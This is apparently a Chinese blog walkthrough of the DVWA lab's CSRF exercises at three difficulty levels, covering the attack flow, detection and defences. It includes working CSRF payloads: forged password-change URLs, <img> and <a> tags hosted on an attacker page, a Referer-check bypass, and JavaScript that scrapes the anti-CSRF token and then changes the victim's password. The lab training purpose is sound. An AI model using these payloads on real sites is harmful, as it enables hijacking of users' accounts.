DVWA——CSRF

low
medium
high

CSRF(跨站请求伪造)

  • Cross-site request forgery

危害:

  • 短链接欺骗

    • 更改 dvwa 密码的 url

      http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
      
    • 转换为短链接

攻击流程:

  1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
  2. 在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
  3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
  4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
  5. 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。

image-20231113150048763

漏洞检测:

  • 抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
  • 检测工具:CSRFTester,CSRF Request Builder等

防御:

  • 验证 HTTP Referer 字段;

    HTTP 头中的 Referer 字段,记录了该 HTTP 请求的来源地址(如果是伪造的跨站请求则该字段记录的攻击者 ip)

  • 在请求地址中添加 token 并验证;

    要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。

    可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。

  • 在 HTTP 头中自定义属性并验证。

    把 token 通过 XMLHttpRequest 这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中去

模拟网络

  • 受害者 IP:192.168.191.1
  • web服务器(dwva)192.168.191.136 在这简要称之为 Web1
  • 攻击者(恶意网站) IP:192.168.191.139 在这简要称之为 Web2

low

原理

  • dvwa 中 low 级别的 CSRF 更改密码的参数可以直接显示到 url 中

  • 当修改密码为 1234 时,url 中的参数

    http://192.168.191.136/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
    
  • 当在网页地址栏直接输入上述 url 时,更改密码参数即可直接更改密码

漏洞利用

  • 受害者打开网站后,诱导对方直接点击链接,达到修改密码的目的

    http://192.168.191.136/dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
    

    image-20231113150057894

    但此方法太password 太显眼),可以使用短链接或生成二维码等方式使对方执行该代码

  • 短链接

    将长URL转换为较短的URL

    可以隐藏 url 中的参数

在这里插入图片描述

medium

尝试 low 级别方法

  • 切换为中级难度时,再次直接在 url 中输入更改密码的请求时,显示更改密码失败

    image-20231113150112986

原理

  • 对比 low 级别和 medium 级别的源码

    image-20231113150119192

    多了以下代码,用于检查当前页面的来源是否与服务器主机名匹配

    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
    
  • 代码分析

    • $_SERVER[ 'HTTP_REFERER' ] 是一个包含前一个页面的URL的字符串,它是 $_SERVER 超全局变量的一个键。它表示用户从哪个页面跳转到当前页面。
    • $_SERVER[ 'SERVER_NAME' ] 是一个包含当前运行脚本的服务器的主机名的字符串,也是 $_SERVER 超全局变量的一个键。它表示当前服务器的主机名。
    • stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) 是一个字符串函数 stripos() 的调用,用于在 $_SERVER[ 'HTTP_REFERER' ] 中查找 $_SERVER[ 'SERVER_NAME' ] 的第一次出现位置(不区分大小写) 。如果找到了匹配的字符串,则返回第一次出现的位置(从0开始计数),否则返回 false
    • 代码含义:如果当前页面的来源包含 dvwa 服务器主机名,则执行 if 代码块中的语句,否则跳过 if 代码块

low 级别方法失败原因

​ 直接访问网站时,通常不会有referer值。Refer值是HTTP请求头的一部分,用于指示请求的来源。当用户通过点击链接或从其他网页跳转到目标网站时,浏览器会自动在HTTP请求头中添加Refer值,以便目标网站可以知道用户是从哪个网页跳转过来的。然而,如果用户直接在浏览器中输入网址或从书签中访问网站,则不会有Refer值。

抓包分析

  • 受害者端寻找失败原因

  • 直接在地址栏中输入更改密码的 url 抓取的数据包中并未显示 referer 参数

    image-20231113150126001

  • referer 参数则无法进行代码中的 stripos() 匹配,不会执行 if 语句中的更改密码语句,直接返回 else 中的 That request didn't look correct.

  • 再次在 url 中尝试在数据包中修改参数

    在数据包中手动添加 referer 参数,包含$_SERVER[ 'SERVER_NAME' ] 中的字符串即 HOST 参数中的内容(192.168.191.136)(Web 1 的主机)

    image-20231113150135139

  • 放包,显示密码修改成功

    image-20231113150145182

  • 可以得出,只要参数 referer 中包含 host 参数中的内容就可成功完成更改密码请求

漏洞点

  • 只要参数 referer包含 host 中的参数(Web1主机地址),就可成功完成请求

  • 可以利用这一点漏洞,可以想办法在恶意网站的地址中添加带有 Web1 主机地址的字段

  • 我们可以伪造 Web2 网站,在其网站路径中添加 192.168.191.136(web1 主机地址)字段,这样受害者向 web1 请求来自恶意网站(web2)要求的操作时,传给 web1 的数据包的 referer 参数(恶意网站 web2 的地址),就包含了 web1 的主机地址,就可以绕过 medium 级别的 CSRF 防御

漏洞实施

  • 注意复现使用 IE 浏览器

  • 搭建恶意网站,使恶意网站 url 中包含 web1 主机(192.168.191.136)字段

    恶意网站中的内容有强制受害者访问更改密码的 url 的恶意代码

  • 可以借助 <img> 标签

    受害者在访问跨站攻击的恶意网站时,自动加载 <img> 标签,此时 <img> 标签指定图片的 url 地址会被访问

    如果该 url 地址非图片的 url 而是一段修改密码的恶意代码,则访问执行该 url 时受害者的密码会直接被更改

    <img> 标签内容如下

    <img src="http://192.168.191.136/dvwa/vulnerabilities/csrf/?password_new=abcde&password_conf=abcde&Change=Change#">
    
  • 通过 medium 难度需要使 referer 中包含 host

    方法:网页名包含 web1 主机字段

    image-20231113150152097

    受害者访问恶意网站(192.168.191.139)

     ![image-20231113150159152](https://img-blog.csdnimg.cn/img_convert/aa1e464bc6c2cf8c733aae08820b90c7.png)
    
    • 抓包查看

      放掉无用的数据包,可以看到

      image-20231113150205133

      失败,但用 windows server 自带的 IE 浏览器可以成功复现
      浏览器安全机制,有些浏览器可能会限制Referer字段的长度,导致较长的URL无法完整显示。
      使用 IE 浏览器
      在这里插入图片描述
      referer 参数可以完全显示,再次登录使用修改后的密码 abcde 成功登录
      在这里插入图片描述
      在这里插入图片描述

方法2(实际使用没用)

  • 在 phpstudy 下新建 passwordchg.html 文档,编写代码

    <img src="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=asd&password_conf=asd&Change=Change#">
    <!--当受害者访问此网站时,会执行修改密码的代码-->
    

    image-20231113150214928

  • 此时受害者登录 dvwa 网站,密码为 password

    image-20231113150220798

  • 访问修改密码的恶意网站

    image-20231113150226807

  • 此时密码已被修改为 asd

  • <img> 标签外,也可以用其他形式来实现执行修改密码的 url 的操作

    例如在 passwordchg.html 中添加以下代码

    此代码定义一个链接标签

    点击 <a>链接</a>则跳转到链接页面

    执行链接的结果时更改 dvwa 登录密码为 123

    <a href="http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#">点击</a>
    <!--图片文件和 passwordchg.html 文件在同级目录下-->
    

    image-20231113150236111

  • 受害者原密码为 password

  • 点击链接

    image-20231113150242669

  • 弹出页面,显示密码已更改

    image-20231113150305551

  • 再次使用原密码 password 无法登录

    image-20231113150259491

  • 输入恶意网站更改的密码 123,登陆成功

    image-20231113150249934

high

更改密码的请求报文

注意,出现同源策略问题,如果 F12 中报错,需要将欺骗网页放入 DVWA 服务器的 WWW 目录下。
可以利用 XSS 漏洞解决此问题,此处暂时不研究

GET 参数中携带了 token 值

GET 请求的参数:password_newpassword_confChangeuser_token

通过 high 级别的 CSRF 重点在于获取 token

GET /dvwa/vulnerabilities/csrf/?password_new=abcde&password_conf=abcde&Change=Change&user_token=4da62b2db031e9b203b1ecdf51619035 HTTP/1.1
Host: 10.9.47.148
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.9.47.148/dvwa/vulnerabilities/csrf/
Cookie: security=high; PHPSESSID=anoin6aua8vi912mic0phcclg2
Upgrade-Insecure-Requests: 1

响应报文

抓包可以看到 token 存在于响应报文的正文中

image-20231113175156944

<script>
    //弹出cookie
alert(document.cookie);
//定义AJAX加载的页面
	var theUrl = 'http://192.168.0.9/DVWA-master/vulnerabilities/csrf/';
//匹配浏览器
if (window.XMLHttpRequest){
// IE7+, Firefox, Chrome, Opera, Safari
		xmlhttp=new XMLHttpRequest(); 
	}else{
// IE6, IE5
		xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
	}
	var count = 0;//更改次数统计,防止重复提交修改密码请求
//页面加载完成后执行函数
	xmlhttp.onreadystatechange=function(){
//判断请求已完成并且响应就绪状态码为200时执行代码
	if (xmlhttp.readyState==4 && xmlhttp.status==200)
	{
//页面内容存储到text中进行匹配token
		var text = xmlhttp.responseText;
		var regex = /user_token\' value\=\'(.*?)\' \/\>/;//通过正则过滤取出Token
		var match = text.match(regex);
		console.log(match);
//弹出token
		alert(match[1]);
		var token = match[1];
//定义payload url并绑定token为我们从页面匹配到的token并且定义新的密码,新密码是admin
var new_url = 'http://192.168.0.9/DVWA-master/vulnerabilities/csrf/?user_token='+token+'&password_new=admin&password_conf=admin&Change=Change'//更改密码请求
//GET方式提交一次new_url
		if(count==0){
			count++;
			xmlhttp.open("GET",new_url,false);
			xmlhttp.send();
		}
}
};
//GET方式提交theUrl
	xmlhttp.open("GET",theUrl,false);
	xmlhttp.send();
    </script>

token 获取

在返回报文中成功获取 token

<html>
<head>
	<meta charset="UTF-8">
	<title>CSRF-high</title>
</head>

</html>
<script>
	// 创建 Ajax 对象
	var xhr = new XMLHttpRequest();
	// 配置连接信息
	xhr.open("GET","http://10.9.47.90/dvwa/vulnerabilities/csrf/",true);
	// 发送请求
	xhr.send();
    // 页面加载完成时输出回应报文
	xhr.onreadystatechange=function (){
		if (xhr.readyState==4 && xhr.status==200){
			var res=xhr.responseText;
			console.log(res);
		}
	}
</script>

image-20231113184238992

正则匹配 token

var match=/<input type='hidden' name='user_token' value='([^']*)' \/>/;
var token=res.match(match);

image-20231113191622597

利用 token 发送更改密码请求

最终代码

<html>
<head>
	<meta charset="UTF-8">
	<title>CSRF-high</title>
</head>

</html>
<script>
	// 创建 Ajax 对象
	var xhr = new XMLHttpRequest();
	// 配置连接信息
	xhr.open("GET","http://10.9.47.90/dvwa/vulnerabilities/csrf/",true);
	// 发送请求
	xhr.send();
	// 防止循环多次运行
	flag=0
    // 页面加载完成时输出回应报文
	xhr.onreadystatechange=function (){
		if (xhr.readyState==4 && xhr.status==200){
			var res=xhr.responseText;
			// console.log(res);
			// 正则匹配 token 值
			var match=/<input type='hidden' name='user_token' value='([^']*)' \/>/;
			var token=res.match(match);
			// console.log(token[1])
			var chg_pass_url="http://10.9.47.90/dvwa/vulnerabilities/csrf/?password_new=gjl.com&password_conf=gjl.com&Change=Change&user_token="+token[1]
			console.log(chg_pass_url)
			if(flag==0){
				flag+=1;
				// 携带获取的 cookie 发送更改密码请求
				xhr.open("GET",chg_pass_url,false);
				xhr.send();
			}
		}
	}
</script>

用户在登录 DVWA 时访问此网页,用户密码会被直接修改为 gjl.com

image-20231113193022475

退出后再次登录,使用原始密码已经无法登录

image-20231113193055529

使用 gjl.com 成功登录

image-20231113193113305

  • 17
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

gjl_

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值